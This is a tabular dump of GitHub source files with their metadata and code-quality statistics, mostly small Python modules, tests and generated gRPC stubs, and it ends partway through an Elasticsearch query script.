hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4c3ba9e834a4d801d3b8ab50d9b3c49a44bdf557 | 79 | py | Python | flowx/imbound/_interface/__init__.py | akashdhruv/flowX | 65b752c58a9da29f8508b4056d4aa3ac6d336d41 | [
"MIT"
] | null | null | null | flowx/imbound/_interface/__init__.py | akashdhruv/flowX | 65b752c58a9da29f8508b4056d4aa3ac6d336d41 | [
"MIT"
] | 7 | 2020-03-05T20:39:32.000Z | 2020-03-13T01:11:26.000Z | flowx/imbound/_interface/__init__.py | akashdhruv/flowX | 65b752c58a9da29f8508b4056d4aa3ac6d336d41 | [
"MIT"
] | 1 | 2020-03-09T17:38:00.000Z | 2020-03-09T17:38:00.000Z | from . import stub
from . import rigid
from . import visco
from . import utils
| 15.8 | 19 | 0.746835 | 12 | 79 | 4.916667 | 0.5 | 0.677966 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.202532 | 79 | 4 | 20 | 19.75 | 0.936508 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4c4ee9953927be4e11bab13bd823b89cc16f3f07 | 35 | py | Python | despike/__init__.py | seignovert/despike | f91e3633e4b96dcea2a7ff6197b33dfe25a665b0 | [
"MIT"
] | 1 | 2020-08-05T14:49:46.000Z | 2020-08-05T14:49:46.000Z | despike/__init__.py | seignovert/despike | f91e3633e4b96dcea2a7ff6197b33dfe25a665b0 | [
"MIT"
] | null | null | null | despike/__init__.py | seignovert/despike | f91e3633e4b96dcea2a7ff6197b33dfe25a665b0 | [
"MIT"
] | null | null | null | from .despike import spikes, clean
| 17.5 | 34 | 0.8 | 5 | 35 | 5.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 35 | 1 | 35 | 35 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4c63bf91ab78d924943fc18ef5a7774f66b5cf2f | 147 | py | Python | jumpscale/tools/terraform/__init__.py | threefoldtech/owncloud_deployer | d652d54a35d7a964f5f1b50ffbec0855ffd6f02f | [
"Apache-2.0"
] | null | null | null | jumpscale/tools/terraform/__init__.py | threefoldtech/owncloud_deployer | d652d54a35d7a964f5f1b50ffbec0855ffd6f02f | [
"Apache-2.0"
] | null | null | null | jumpscale/tools/terraform/__init__.py | threefoldtech/owncloud_deployer | d652d54a35d7a964f5f1b50ffbec0855ffd6f02f | [
"Apache-2.0"
] | null | null | null | def export_module_as():
from jumpscale.core.base import StoredFactory
from .terraform import Terraform
return StoredFactory(Terraform) | 29.4 | 49 | 0.782313 | 17 | 147 | 6.647059 | 0.705882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.163265 | 147 | 5 | 50 | 29.4 | 0.918699 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.5 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4c6db588f6a430b606b312f5e0a499a5a21ac699 | 25,624 | py | Python | kms/google/cloud/kms_v1/proto/service_pb2_grpc.py | Kami/google-cloud-python | a14ffbaa50f7823c2792e91413a37cbc3ce687f5 | [
"Apache-2.0"
] | 1 | 2019-06-14T10:11:59.000Z | 2019-06-14T10:11:59.000Z | kms/google/cloud/kms_v1/proto/service_pb2_grpc.py | Kami/google-cloud-python | a14ffbaa50f7823c2792e91413a37cbc3ce687f5 | [
"Apache-2.0"
] | 1 | 2018-04-06T19:51:23.000Z | 2018-04-06T19:51:23.000Z | kms/google/cloud/kms_v1/proto/service_pb2_grpc.py | Kami/google-cloud-python | a14ffbaa50f7823c2792e91413a37cbc3ce687f5 | [
"Apache-2.0"
] | 1 | 2020-04-14T10:47:41.000Z | 2020-04-14T10:47:41.000Z | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
import grpc
from google.cloud.kms_v1.proto import (
resources_pb2 as google_dot_cloud_dot_kms__v1_dot_proto_dot_resources__pb2,
)
from google.cloud.kms_v1.proto import (
service_pb2 as google_dot_cloud_dot_kms__v1_dot_proto_dot_service__pb2,... | 56.690265 | 142 | 0.765181 | 2,803 | 25,624 | 6.570817 | 0.082412 | 0.043707 | 0.06309 | 0.072103 | 0.830981 | 0.824682 | 0.802096 | 0.713867 | 0.634977 | 0.629439 | 0 | 0.011273 | 0.158757 | 25,624 | 451 | 143 | 56.815965 | 0.843153 | 0.224321 | 0 | 0.353357 | 1 | 0 | 0.119996 | 0.066292 | 0 | 0 | 0 | 0 | 0 | 1 | 0.074205 | false | 0 | 0.010601 | 0 | 0.091873 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
910090e03ac153e8a0e659dc301b1cab4508567f | 86 | py | Python | funfolding/pipeline/__init__.py | jacobbieker/funfolding-test | 3f70a9593393b67baf4d9f6bf7b5f966731d906e | [
"MIT"
] | null | null | null | funfolding/pipeline/__init__.py | jacobbieker/funfolding-test | 3f70a9593393b67baf4d9f6bf7b5f966731d906e | [
"MIT"
] | null | null | null | funfolding/pipeline/__init__.py | jacobbieker/funfolding-test | 3f70a9593393b67baf4d9f6bf7b5f966731d906e | [
"MIT"
] | null | null | null | from ._pipeline import split_mc_test_unfolding
__all__ = ['split_mc_test_unfolding']
| 21.5 | 46 | 0.837209 | 12 | 86 | 5.083333 | 0.666667 | 0.229508 | 0.360656 | 0.655738 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093023 | 86 | 3 | 47 | 28.666667 | 0.782051 | 0 | 0 | 0 | 0 | 0 | 0.267442 | 0.267442 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
e66f5539f7f39bba1c0f133e6df18cb8767f0cd1 | 22 | py | Python | mrt/__init__.py | vwochnik/mental-rotation-task | aff4eb3d838d9e1e9f60154ce76305778ebf7ae1 | [
"MIT"
] | 1 | 2020-12-16T10:35:06.000Z | 2020-12-16T10:35:06.000Z | __init__.py | Udmx/AparatDownloader | d38b3c3ba11d147b8061a7e91ac7cfe2d9ff0447 | [
"MIT"
] | null | null | null | __init__.py | Udmx/AparatDownloader | d38b3c3ba11d147b8061a7e91ac7cfe2d9ff0447 | [
"MIT"
] | null | null | null | from main import Main
| 11 | 21 | 0.818182 | 4 | 22 | 4.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 22 | 1 | 22 | 22 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e6c99b9483b9c6d9364cca9c72562a75bc7457cf | 24 | py | Python | src/path/__init__.py | Freonius/tranquillity | bb190b4a8facf643d5018a710100b3ff45d6d640 | [
"MIT"
] | null | null | null | src/path/__init__.py | Freonius/tranquillity | bb190b4a8facf643d5018a710100b3ff45d6d640 | [
"MIT"
] | 20 | 2021-12-31T15:28:20.000Z | 2022-02-15T18:24:16.000Z | src/path/__init__.py | Freonius/tranquillity | bb190b4a8facf643d5018a710100b3ff45d6d640 | [
"MIT"
] | null | null | null | from ._path import Path
| 12 | 23 | 0.791667 | 4 | 24 | 4.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 24 | 1 | 24 | 24 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
fc6fb0517e7ac0f2efa8cef784d841c7cf2002dc | 59 | py | Python | src/intents/__init__.py | ChristChurchMayfair/ccm-assistant | 3d9a922642f0275882c6829e54a6fbc940067f26 | [
"MIT"
] | null | null | null | src/intents/__init__.py | ChristChurchMayfair/ccm-assistant | 3d9a922642f0275882c6829e54a6fbc940067f26 | [
"MIT"
] | null | null | null | src/intents/__init__.py | ChristChurchMayfair/ccm-assistant | 3d9a922642f0275882c6829e54a6fbc940067f26 | [
"MIT"
] | null | null | null | from .intents import *
from .audio_player_intents import *
| 19.666667 | 35 | 0.79661 | 8 | 59 | 5.625 | 0.625 | 0.577778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135593 | 59 | 2 | 36 | 29.5 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
fc72ba4f12c4dfec741eb6394d278bece7c46172 | 10,865 | py | Python | core/platform/email/mailgun_email_services_test.py | ReshuKumari/oppia | cb89b633275b3d0b2d02e0d22e0c472d8b8da0e1 | [
"Apache-2.0"
] | null | null | null | core/platform/email/mailgun_email_services_test.py | ReshuKumari/oppia | cb89b633275b3d0b2d02e0d22e0c472d8b8da0e1 | [
"Apache-2.0"
] | null | null | null | core/platform/email/mailgun_email_services_test.py | ReshuKumari/oppia | cb89b633275b3d0b2d02e0d22e0c472d8b8da0e1 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
#
# Copyright 2014 The Oppia Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requi... | 47.653509 | 80 | 0.583525 | 1,384 | 10,865 | 4.411127 | 0.156792 | 0.014414 | 0.058477 | 0.061916 | 0.762162 | 0.755283 | 0.755283 | 0.737101 | 0.737101 | 0.717281 | 0 | 0.040395 | 0.282283 | 10,865 | 227 | 81 | 47.863436 | 0.739805 | 0.114772 | 0 | 0.741573 | 0 | 0.101124 | 0.297854 | 0.137463 | 0 | 0 | 0 | 0 | 0.039326 | 1 | 0.033708 | false | 0 | 0.033708 | 0 | 0.08427 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
fc7f4adfcb98cf0230e8a3123488907ca6cf299e | 121 | py | Python | main.py | GoodNightPL/mid-letter | e6117a85195f30920a871dcb47a57843328888ec | [
"MIT"
] | null | null | null | main.py | GoodNightPL/mid-letter | e6117a85195f30920a871dcb47a57843328888ec | [
"MIT"
] | null | null | null | main.py | GoodNightPL/mid-letter | e6117a85195f30920a871dcb47a57843328888ec | [
"MIT"
] | null | null | null | import math
def mid(arg):
if len(arg) % 2 == 0:
return ""
return arg[int(len(arg)/2):int(len(arg)/2)+1]
| 17.285714 | 49 | 0.53719 | 22 | 121 | 2.954545 | 0.545455 | 0.276923 | 0.323077 | 0.307692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055556 | 0.256198 | 121 | 6 | 50 | 20.166667 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
5da1cb4f52189a839f8234c09bcd2ae9553b8ffc | 190 | py | Python | vision/libs.py | eMSiBi/LeraBots | 50cd0241ec1f8eb2fc2eb47fb56fac8ba056e054 | [
"BSD-4-Clause"
] | null | null | null | vision/libs.py | eMSiBi/LeraBots | 50cd0241ec1f8eb2fc2eb47fb56fac8ba056e054 | [
"BSD-4-Clause"
] | null | null | null | vision/libs.py | eMSiBi/LeraBots | 50cd0241ec1f8eb2fc2eb47fb56fac8ba056e054 | [
"BSD-4-Clause"
] | null | null | null | # https://docs.python.org/3/tutorial/modules.html#standard-modules
import sys
sys.path.append("./")
sys.path.append("../")
sys.path.append("../vision")
sys.path.append("../textRecognition")
| 27.142857 | 66 | 0.710526 | 26 | 190 | 5.192308 | 0.576923 | 0.207407 | 0.385185 | 0.237037 | 0.288889 | 0.288889 | 0 | 0 | 0 | 0 | 0 | 0.005495 | 0.042105 | 190 | 6 | 67 | 31.666667 | 0.736264 | 0.331579 | 0 | 0 | 0 | 0 | 0.258065 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.2 | 0 | 0.2 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5da98fdd4ab8821ebbb809cf9c775f169836bc35 | 103 | py | Python | mne/datasets/spm_face/__init__.py | mmagnuski/mne-python | 8b4aa6731b828430453b6e36405313e1bea3d701 | [
"BSD-3-Clause"
] | 4 | 2017-10-25T18:42:30.000Z | 2019-06-15T06:48:10.000Z | mne/datasets/spm_face/__init__.py | alexandrebarachant/mne-python | b54e38c9bbac38c6f53747075b5bad2936fbc5b9 | [
"BSD-3-Clause"
] | null | null | null | mne/datasets/spm_face/__init__.py | alexandrebarachant/mne-python | b54e38c9bbac38c6f53747075b5bad2936fbc5b9 | [
"BSD-3-Clause"
] | 1 | 2017-04-20T12:21:15.000Z | 2017-04-20T12:21:15.000Z | """SPM face dataset
"""
from .spm_data import data_path, has_spm_data, get_version, requires_spm_data
| 20.6 | 77 | 0.786408 | 17 | 103 | 4.352941 | 0.647059 | 0.283784 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116505 | 103 | 4 | 78 | 25.75 | 0.813187 | 0.15534 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5db20d8a561b0871d85add126474cb03a79dba7b | 137 | py | Python | scripts/npc/autogen_misticmoon.py | doriyan13/doristory | 438caf3b123922da3f5f3b16fcc98a26a8ab85ce | [
"MIT"
] | null | null | null | scripts/npc/autogen_misticmoon.py | doriyan13/doristory | 438caf3b123922da3f5f3b16fcc98a26a8ab85ce | [
"MIT"
] | null | null | null | scripts/npc/autogen_misticmoon.py | doriyan13/doristory | 438caf3b123922da3f5f3b16fcc98a26a8ab85ce | [
"MIT"
] | null | null | null | # Character field ID when accessed: 931050800
# ParentID: 9073025
# ObjectID: 1000000
# Object Position Y: 506
# Object Position X: 2154
| 22.833333 | 45 | 0.759124 | 18 | 137 | 5.777778 | 0.888889 | 0.269231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.263158 | 0.167883 | 137 | 5 | 46 | 27.4 | 0.649123 | 0.919708 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5ded0ed29598a4f8bbb91530236f649ea98b79f7 | 92 | py | Python | locust/util/rounding.py | MarcSteven/locust | bd198acf2694272707a23429a475255e8754ab42 | [
"MIT"
] | 18,336 | 2015-01-03T20:38:40.000Z | 2022-03-31T16:02:35.000Z | locust/util/rounding.py | MarcSteven/locust | bd198acf2694272707a23429a475255e8754ab42 | [
"MIT"
] | 1,779 | 2015-01-01T02:09:30.000Z | 2022-03-31T09:58:10.000Z | locust/util/rounding.py | MarcSteven/locust | bd198acf2694272707a23429a475255e8754ab42 | [
"MIT"
] | 2,689 | 2015-01-05T02:01:50.000Z | 2022-03-31T13:13:09.000Z | def proper_round(val, digits=0):
return round(val + 10 ** (-len(str(val)) - 1), digits)
| 30.666667 | 58 | 0.619565 | 15 | 92 | 3.733333 | 0.733333 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 0.173913 | 92 | 2 | 59 | 46 | 0.684211 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
b904e2e016813cd00e868cb31abdf05d1626db0e | 20,891 | py | Python | tests/ut/python/dataset/test_split.py | ZephyrChenzf/mindspore | 8f191847cf71e12715ced96bc3575914f980127a | [
"Apache-2.0"
] | 1 | 2020-06-17T07:05:45.000Z | 2020-06-17T07:05:45.000Z | tests/ut/python/dataset/test_split.py | ZephyrChenzf/mindspore | 8f191847cf71e12715ced96bc3575914f980127a | [
"Apache-2.0"
] | null | null | null | tests/ut/python/dataset/test_split.py | ZephyrChenzf/mindspore | 8f191847cf71e12715ced96bc3575914f980127a | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 34.247541 | 114 | 0.663587 | 3,072 | 20,891 | 4.276042 | 0.08431 | 0.036541 | 0.052451 | 0.060521 | 0.815088 | 0.788139 | 0.768575 | 0.741245 | 0.715667 | 0.707674 | 0 | 0.055048 | 0.193911 | 20,891 | 609 | 115 | 34.303777 | 0.725 | 0.112728 | 0 | 0.696891 | 0 | 0 | 0.065642 | 0.004816 | 0 | 0 | 0 | 0 | 0.189119 | 1 | 0.041451 | false | 0 | 0.007772 | 0 | 0.049223 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b9094a2c85caaad19a3a34ff9dff9e3c352dbbae | 4,147 | py | Python | tests/unit/more/debian/package/test_npm.py | timgates42/provy | ca3d5e96a2210daf3c1fd4b96e047efff152db14 | [
"MIT"
] | 15 | 2015-01-28T15:49:28.000Z | 2021-09-02T18:49:46.000Z | tests/unit/more/debian/package/test_npm.py | timgates42/provy | ca3d5e96a2210daf3c1fd4b96e047efff152db14 | [
"MIT"
] | null | null | null | tests/unit/more/debian/package/test_npm.py | timgates42/provy | ca3d5e96a2210daf3c1fd4b96e047efff152db14 | [
"MIT"
] | 3 | 2016-12-05T07:08:11.000Z | 2021-12-26T04:31:05.000Z | from mock import patch
from nose.tools import istest
from provy.more.debian import NodeJsRole, NPMRole
from tests.unit.tools.helpers import ProvyTestCase
class NPMRoleTest(ProvyTestCase):
def setUp(self):
super(NPMRoleTest, self).setUp()
self.role = NPMRole(prov=None, context={})
@istest
... | 43.652632 | 125 | 0.712322 | 572 | 4,147 | 4.844406 | 0.129371 | 0.138578 | 0.123421 | 0.039697 | 0.829304 | 0.82786 | 0.82786 | 0.809094 | 0.79899 | 0.771923 | 0 | 0.013025 | 0.185435 | 4,147 | 94 | 126 | 44.117021 | 0.807282 | 0 | 0 | 0.462687 | 0 | 0 | 0.164697 | 0.055462 | 0 | 0 | 0 | 0 | 0.208955 | 1 | 0.164179 | false | 0 | 0.059701 | 0 | 0.238806 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f8da1cc3f184cbed74039f03e9ceb3225cb42f8f | 8,852 | py | Python | search/query_test_script.py | rajeshwariC/WeVoteServer | 59aff1725b7586ebd360ef40fc1b44e5a0b9572d | [
"MIT"
] | null | null | null | search/query_test_script.py | rajeshwariC/WeVoteServer | 59aff1725b7586ebd360ef40fc1b44e5a0b9572d | [
"MIT"
] | null | null | null | search/query_test_script.py | rajeshwariC/WeVoteServer | 59aff1725b7586ebd360ef40fc1b44e5a0b9572d | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# Test this by entering the search string "election" on a command line like this:
# /home/wevote/WeVoteServer/search/query_test_script.py election
from elasticsearch import Elasticsearch
import sys
